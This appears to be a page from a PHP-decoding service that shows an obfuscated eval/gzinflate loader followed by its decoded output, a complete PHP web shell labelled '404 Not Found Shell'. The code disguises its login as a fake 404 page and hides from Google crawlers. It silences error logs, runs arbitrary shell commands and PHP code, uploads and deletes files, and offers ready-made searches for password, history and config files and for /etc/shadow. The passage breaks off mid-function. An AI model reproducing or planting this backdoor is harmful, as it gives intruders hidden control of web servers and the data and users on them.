Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php 
$auth_pass = "e43eaeb50d1a05649178b5b4f8a9de05"; 
$color = "#00ff00"; 
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
    header('HTTP/1.0 404 Not Found'); 
    exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin(); 

if( strtolower( substr(PHP_OS,0,3) ) == "win" ) 
    $os = 'win'; 
else 
    $os = 'nix'; 
$safe_mode = @ini_get('safe_mode'); 
$disable_functions = @ini_get('disable_functions'); 
$home_cwd = @getcwd(); 
if( isset( $_POST['c'] ) ) 
    @chdir($_POST['c']); 
$cwd = @getcwd(); 
if( $os == 'win') { 
    $home_cwd = str_replace("\", "/", $home_cwd); 
    $cwd = str_replace("\", "/", $cwd); 
} 
if( $cwd[strlen($cwd)-1] != '/' ) 
    $cwd .= '/'; 
     
if($os == 'win') 
    $aliases = array( 
        "List Directory" => "dir", 
        "Find index.php in current dir" => "dir /s /w /b index.php", 
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php", 
        "Show active connections" => "netstat -an", 
        "Show running services" => "net start", 
        "User accounts" => "net user", 
        "Show computers" => "net view", 
        "ARP Table" => "arp -a", 
        "IP Configuration" => "ipconfig /all" 
    ); 
else 
    $aliases = array( 
          "List dir" => "ls -la", 
        "list file attributes on a Linux second extended file system" => "lsattr -va", 
          "show opened ports" => "netstat -an | grep -i listen", 
        "Find" => "", 
          "find all suid files" => "find / -type f -perm -04000 -ls", 
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls", 
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php", 
          "find config* files" => "find / -type f -name \"config*\"", 
          "find config* files in current dir" => "find . -type f -name \"config*\"", 
          "find all writable folders and files" => "find / -perm -2 -ls", 
          "find all writable folders and files in current dir" => "find . -perm -2 -ls", 
          "find all service.pwd files" => "find / -type f -name service.pwd", 
          "find service.pwd files in current dir" => "find . -type f -name service.pwd", 
          "find all .htpasswd files" => "find / -type f -name .htpasswd", 
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", 
          "find all .bash_history files" => "find / -type f -name .bash_history", 
          "find .bash_history files in current dir" => "find . -type f -name .bash_history", 
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", 
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", 
        "Locate" => "", 
          "locate httpd.conf files" => "locate httpd.conf", 
        "locate vhosts.conf files" => "locate vhosts.conf", 
        "locate proftpd.conf files" => "locate proftpd.conf", 
        "locate psybnc.conf files" => "locate psybnc.conf", 
        "locate my.conf files" => "locate my.conf", 
        "locate admin.php files" =>"locate admin.php", 
        "locate cfg.php files" => "locate cfg.php", 
        "locate conf.php files" => "locate conf.php", 
        "locate config.dat files" => "locate config.dat", 
        "locate config.php files" => "locate config.php", 
        "locate config.inc files" => "locate config.inc", 
        "locate config.inc.php" => "locate config.inc.php", 
        "locate config.default.php files" => "locate config.default.php", 
        "locate config* files " => "locate config", 
        "locate .conf files"=>"locate '.conf'", 
        "locate .pwd files" => "locate '.pwd'", 
        "locate .sql files" => "locate '.sql'", 
        "locate .htpasswd files" => "locate '.htpasswd'", 
        "locate .bash_history files" => "locate '.bash_history'", 
        "locate .mysql_history files" => "locate '.mysql_history'", 
        "locate .fetchmailrc files" => "locate '.fetchmailrc'", 
        "locate backup files" => "locate backup", 
        "locate dump files" => "locate dump", 
        "locate priv files" => "locate priv"     
    ); 

function printHeader() { 
    if(empty($_POST['charset'])) 
        $_POST['charset'] = "UTF-8"; 
    global $color; 
    ?> 
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?>-SubhashDasyam.com</title> 
<style> 
    body {background-color:#000;color:#fff;} 
    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; } 
    span,h1,a    { color:<?=$color?> !important; } 
    span        { font-weight: bolder; } 
    h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; } 
    div.content    { padding: 5px;margin-left:5px;} 
    a            { text-decoration:none; } 
    a:hover        { background:#ff0000; } 
    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; } 
    .bigarea    { width:100%;height:250px; } 
    input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; } 
    form        { margin:0px; } 
    #toolsTbl    { text-align:center; } 
    .toolsInp    { width: 80%; } 
    .main th    {text-align:left;} 
    .main tr:hover{background-color:#5e5e5e;} 
    .main td, th{vertical-align:middle;} 
    pre            {font-family:Courier,Monospace;} 
    #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);} 
</style> 
<script> 
    function set(a,c,p1,p2,p3,charset) { 
        if(a != null)document.mf.a.value=a; 
        if(c != null)document.mf.c.value=c; 
        if(p1 != null)document.mf.p1.value=p1; 
        if(p2 != null)document.mf.p2.value=p2; 
        if(p3 != null)document.mf.p3.value=p3; 
        if(charset != null)document.mf.charset.value=charset; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        document.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = "ajax=true"; 
        for(i=0;i<document.mf.elements.length;i++) 
            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value); 
        sr('<?=$_SERVER['REQUEST_URI'];?>', params); 
    } 
    function sr(url, params) {     
        if (window.XMLHttpRequest) { 
            req = new XMLHttpRequest(); 
            req.onreadystatechange = processReqChange; 
            req.open("POST", url, true); 
            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); 
            req.send(params); 
        }  
        else if (window.ActiveXObject) { 
            req = new ActiveXObject("Microsoft.XMLHTTP"); 
            if (req) { 
                req.onreadystatechange = processReqChange; 
                req.open("POST", url, true); 
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded"); 
                req.send(params); 
            } 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                //alert(req.responseText); 
                var reg = new RegExp("(\d+)([\S\s]*)", "m"); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            }  
            else alert("Request error!"); 
    } 
</script> 
<head><body><div style="position:absolute;width:100%;top:0;left:0;"> 
<form method=post name=mf style='display:none;'> 
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'> 
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> 
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'> 
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'> 
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'> 
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
</form> 
<?php 
    $freeSpace = @diskfreespace($GLOBALS['cwd']); 
    $totalSpace = @disk_total_space($GLOBALS['cwd']); 
    $totalSpace = $totalSpace?$totalSpace:1; 
    $release = @php_uname('r'); 
    $kernel = @php_uname('s'); 
    $millink='http://milw0rm.com/search.php?dong='; 
    if( strpos('Linux', $kernel) !== false ) 
        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); 
    else 
        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) ); 
    if(!function_exists('posix_getegid')) { 
        $user = @get_current_user(); 
        $uid = @getmyuid(); 
        $gid = @getmygid(); 
        $group = "?"; 
    } else { 
        $uid = @posix_getpwuid(@posix_geteuid()); 
        $gid = @posix_getgrgid(@posix_getegid()); 
        $user = $uid['name']; 
        $uid = $uid['uid']; 
        $group = $gid['name']; 
        $gid = $gid['gid']; 
    } 
    $cwd_links = ''; 
    $path = explode("/", $GLOBALS['cwd']); 
    $n=count($path); 
    for($i=0;$i<$n-1;$i++) { 
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; 
        for($j=0;$j<=$i;$j++) 
            $cwd_links .= $path[$j].'/'; 
        $cwd_links .= "\")'>".$path[$i]."/</a>"; 
    } 
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); 
    $opt_charsets = ''; 
    foreach($charsets as $item) 
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; 
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); 
    if(!empty($GLOBALS['auth_pass'])) 
    $m['Logout'] = 'Logout'; 
    $m['Self remove'] = 'SelfRemove'; 
    $menu = ''; 
    foreach($m as $k => $v) 
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; 
    $drives = ""; 
    if ($GLOBALS['os'] == 'win') { 
        foreach( range('a','z') as $drive ) 
        if (is_dir($drive.':\')) 
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; 
    } 
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname<br>User<br>Php<br>Hdd<br>Cwd'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'. 
         '<td>:<nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'. 
         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'. 
         '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">'; 
} 

function printFooter() { 
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>"; 
?> 
</div> 
<table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%"> 
    <tr> 
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td> 
    </tr> 
    <tr> 
        <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td> 
        <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
    </tr> 
    <tr> 
        <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td> 
    </tr> 

</table> 
</div> 
</body></html> 
<?php 
} 
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
function ex($in) { 
    $out = ''; 
    if(function_exists('exec')) { 
        @exec($in,$out); 
        $out = @join("
",$out); 
    }elseif(function_exists('passthru')) { 
        ob_start(); 
        @passthru($in); 
        $out = ob_get_clean(); 
    }elseif(function_exists('system')) { 
        ob_start(); 
        @system($in); 
        $out = ob_get_clean(); 
    }elseif(function_exists('shell_exec')) { 
        $out = shell_exec($in); 
    }elseif(is_resource($f = @popen($in,"r"))) { 
        $out = ""; 
        while(!@feof($f)) 
            $out .= fread($f,1024); 
        pclose($f); 
    } 
    return $out; 
} 
function viewSize($s) { 
    if($s >= 1073741824) 
        return sprintf('%1.2f', $s / 1073741824 ). ' GB'; 
    elseif($s >= 1048576) 
        return sprintf('%1.2f', $s / 1048576 ) . ' MB'; 
    elseif($s >= 1024) 
        return sprintf('%1.2f', $s / 1024 ) . ' KB'; 
    else 
        return $s . ' B'; 
} 

function perms($p) { 
    if (($p & 0xC000) == 0xC000)$i = 's'; 
    elseif (($p & 0xA000) == 0xA000)$i = 'l'; 
    elseif (($p & 0x8000) == 0x8000)$i = '-'; 
    elseif (($p & 0x6000) == 0x6000)$i = 'b'; 
    elseif (($p & 0x4000) == 0x4000)$i = 'd'; 
    elseif (($p & 0x2000) == 0x2000)$i = 'c'; 
    elseif (($p & 0x1000) == 0x1000)$i = 'p'; 
    else $i = 'u'; 
    $i .= (($p & 0x0100) ? 'r' : '-'); 
    $i .= (($p & 0x0080) ? 'w' : '-'); 
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); 
    $i .= (($p & 0x0020) ? 'r' : '-'); 
    $i .= (($p & 0x0010) ? 'w' : '-'); 
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); 
    $i .= (($p & 0x0004) ? 'r' : '-'); 
    $i .= (($p & 0x0002) ? 'w' : '-'); 
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); 
    return $i; 
} 
function viewPermsColor($f) {  
    if (!@is_readable($f)) 
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>'; 
    elseif (!@is_writable($f)) 
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>'; 
    else 
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>'; 
} 
if(!function_exists("scandir")) { 
    function scandir($dir) { 
        $dh  = opendir($dir); 
        while (false !== ($filename = readdir($dh))) { 
            $files[] = $filename; 
        } 
        return $files; 
    } 
} 
function which($p) { 
    $path = ex('which '.$p); 
    if(!empty($path)) 
        return $path; 
    return false; 
} 
function actionSecInfo() { 
    printHeader(); 
    echo '<h1>Server security information</h1><div class=content>'; 
    function showSecParam($n, $v) { 
        $v = trim($v); 
        if($v) { 
            echo '<span>'.$n.': </span>'; 
            if(strpos($v, "
") === false) 
                echo $v.'<br>'; 
            else 
                echo '<pre class=ml1>'.$v.'</pre>'; 
        } 
    } 
     
    showSecParam('Server software', @getenv('SERVER_SOFTWARE')); 
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); 
    showSecParam('Open base dir', @ini_get('open_basedir')); 
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); 
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); 
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); 
    $temp=array(); 
    if(function_exists('mysql_get_client_info')) 
        $temp[] = "MySql (".mysql_get_client_info().")"; 
    if(function_exists('mssql_connect')) 
        $temp[] = "MSSQL"; 
    if(function_exists('pg_connect')) 
        $temp[] = "PostgreSQL"; 
    if(function_exists('oci_connect')) 
        $temp[] = "Oracle"; 
    showSecParam('Supported databases', implode(', ', $temp)); 
    echo '<br>'; 
     
    if( $GLOBALS['os'] == 'nix' ) { 
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); 
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); 
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); 
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); 
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); 
        showSecParam('OS version', @file_get_contents('/proc/version')); 
        showSecParam('Distr name', @file_get_contents('/etc/issue.net')); 
        if(!$GLOBALS['safe_mode']) { 
            echo '<br>'; 
            $temp=array(); 
            foreach ($userful as $item) 
                if(which($item)){$temp[]=$item;} 
            showSecParam('Userful', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($danger as $item) 
                if(which($item)){$temp[]=$item;} 
            showSecParam('Danger', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($downloaders as $item)  
                if(which($item)){$temp[]=$item;} 
            showSecParam('Downloaders', implode(', ',$temp)); 
            echo '<br/>'; 
            showSecParam('Hosts', @file_get_contents('/etc/hosts')); 
            showSecParam('HDD space', ex('df -h')); 
            showSecParam('Mount options', @file_get_contents('/etc/fstab')); 
        } 
    } else { 
        showSecParam('OS Version',ex('ver'));  
        showSecParam('Account Settings',ex('net accounts'));  
        showSecParam('User Accounts',ex('net user')); 
    } 
    echo '</div>'; 
    printFooter(); 
} 

function actionPhp() { 
    if( isset($_POST['ajax']) ) { 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; 
        ob_start(); 
        eval($_POST['p1']); 
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
"; 
        echo strlen($temp), "
", $temp; 
        exit;  
    } 
    printHeader(); 
    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { 
        echo '<h1>PHP info</h1><div class=content>'; 
        ob_start(); 
        phpinfo(); 
        $tmp = ob_get_clean(); 
        $tmp = preg_replace('!body {.*}!msiU','',$tmp); 
        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); 
        $tmp = preg_replace('!h1!msiU','h2',$tmp); 
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); 
        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); 
        echo $tmp; 
        echo '</div><br>'; 
    } 
    if(empty($_POST['ajax'])&&!empty($_POST['p1'])) 
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; 
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; 
    echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; 
    if(!empty($_POST['p1'])) { 
        ob_start(); 
        eval($_POST['p1']); 
        echo htmlspecialchars(ob_get_clean()); 
    } 
    echo '</pre></div>'; 
    printFooter(); 
} 

function actionFilesMan() { 
    printHeader(); 
    echo '<h1>File manager</h1><div class=content>'; 
    if(isset($_POST['p1'])) { 
        switch($_POST['p1']) { 
            case 'uploadFile': 
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) 
                    echo "Can't upload file!"; 
                break; 
                break; 
            case 'mkdir': 
                if(!@mkdir($_POST['p2'])) 
                    echo "Can't create new dir"; 
                break; 
            case 'delete': 
                function deleteDir($path) { 
                    $path = (substr($path,-1)=='/') ? $path:$path.'/'; 
                    $dh  = opendir($path); 
                    while ( ($item = readdir($dh) ) !== false) { 
                        $item = $path.$item; 
                        if ( (basename($item) == "..") || (basename($item) == ".") ) 
                            continue; 
                        $type = filetype($item); 
                        if ($type == "dir") 
                            deleteDir($item); 
                        else 
                            @unlink($item); 
                    } 
                    closedir($dh); 
                    rmdir($path); 
                } 
                if(is_array(@$_POST['f'])) 
                    foreach($_POST['f'] as $f) { 
                        $f = urldecode($f); 
                        if(is_dir($f)) 
                            deleteDir($f); 
                        else 
                            @unlink($f); 
                    } 
                break; 
            case 'paste': 
                if($_SESSION['act'] == 'copy') { 
                    function copy_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = opendir($c.$s); 
                            while (($f = readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) { 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                                } 
                        } elseif(is_file($c.$s)) { 
                            @copy($c.$s, $d.$s); 
                        } 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                     
                } elseif($_SESSION['act'] == 'move') { 
                    function move_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = opendir($c.$s); 
                            while (($f = readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) { 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                                } 
                        } elseif(is_file($c.$s)) { 
                            @copy($c.$s, $d.$s); 
                        } 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); 
                } 
                unset($_SESSION['f']); 
                break; 
            default: 
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { 
                    $_SESSION['act'] = @$_POST['p1']; 
                    $_SESSION['f'] = @$_POST['f']; 
                    foreach($_SESSION['f'] as $k => $f) 
                        $_SESSION['f'][$k] = urldecode($f); 
                    $_SESSION['cwd'] = @$_POST['c']; 
                } 
                break; 
        } 
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>'; 
    } 
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); 
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
    global $sort; 
    $sort = array('name', 1); 
    if(!empty($_POST['p1'])) { 
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) 
            $sort = array($match[1], (int)$match[2]); 
    } 
?> 
<script> 
    function sa() { 
        for(i=0;i<document.files.elements.length;i++) 
            if(document.files.elements[i].type == 'checkbox') 
                document.files.elements[i].checked = document.files.elements[0].checked; 
    } 
</script> 
<table width='100%' class='main' cellspacing='0' cellpadding='2'> 
<form name=files method=post> 
<?php 
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; 
    $dirs = $files = $links = array(); 
    $n = count($dirContent); 
    for($i=0;$i<$n;$i++) { 
        $ow = @posix_getpwuid(@fileowner($dirContent[$i])); 
        $gr = @posix_getgrgid(@filegroup($dirContent[$i])); 
        $tmp = array('name' => $dirContent[$i], 
                     'path' => $GLOBALS['cwd'].$dirContent[$i], 
                     'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), 
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) 
                    ); 
        if(@is_file($GLOBALS['cwd'].$dirContent[$i])) 
            $files[] = array_merge($tmp, array('type' => 'file')); 
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) 
            $links[] = array_merge($tmp, array('type' => 'link')); 
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) 
            $dirs[] = array_merge($tmp, array('type' => 'dir')); 
    } 
    $GLOBALS['sort'] = $sort; 
    function cmp($a, $b) { 
        if($GLOBALS['sort'][0] != 'size') 
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); 
        else 
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); 
    } 
    usort($files, "cmp"); 
    usort($dirs, "cmp"); 
    usort($links, "cmp"); 
    $files = array_merge($dirs, $links, $files); 
    $l = 0; 
    foreach($files as $f) { 
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] 
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; 
        $l = $l?0:1; 
    } 
    ?> 
    <tr><td colspan=7> 
    <input type=hidden name=a value='FilesMan'> 
    <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'> 
    <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr> 
    </form></table></div> 
    <?php 
    printFooter(); 
} 

function actionStringTools() { 
    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} 
